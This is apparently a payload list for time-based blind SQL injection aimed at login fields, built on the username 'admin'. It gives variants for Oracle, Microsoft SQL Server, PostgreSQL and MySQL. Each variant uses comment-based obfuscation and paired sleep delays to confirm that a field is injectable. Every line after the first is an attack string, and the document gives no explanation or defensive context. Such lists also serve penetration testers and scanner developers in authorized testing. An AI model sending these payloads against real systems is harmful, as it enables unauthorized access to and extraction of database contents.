admin
admin\'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE(\'x\',0)=\'x
admin\'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE(\'y\',6)=\'y
admin\'and(select+1)>0waitfor/**/delay\'0:0:6
admin\'/**/and(select\'1\'from/**/pg_sleep(6))::text>\'0
admin\'and(select+1)>0waitfor/**/delay\'0:0:0
admin\'/**/and(select\'1\'from/**/pg_sleep(0))::text>\'0
admin\"and(select*from(select+sleep(6))a/**/union/**/select+1)=\"
admin\'and(select*from(select+sleep(6))a/**/union/**/select+1)=\'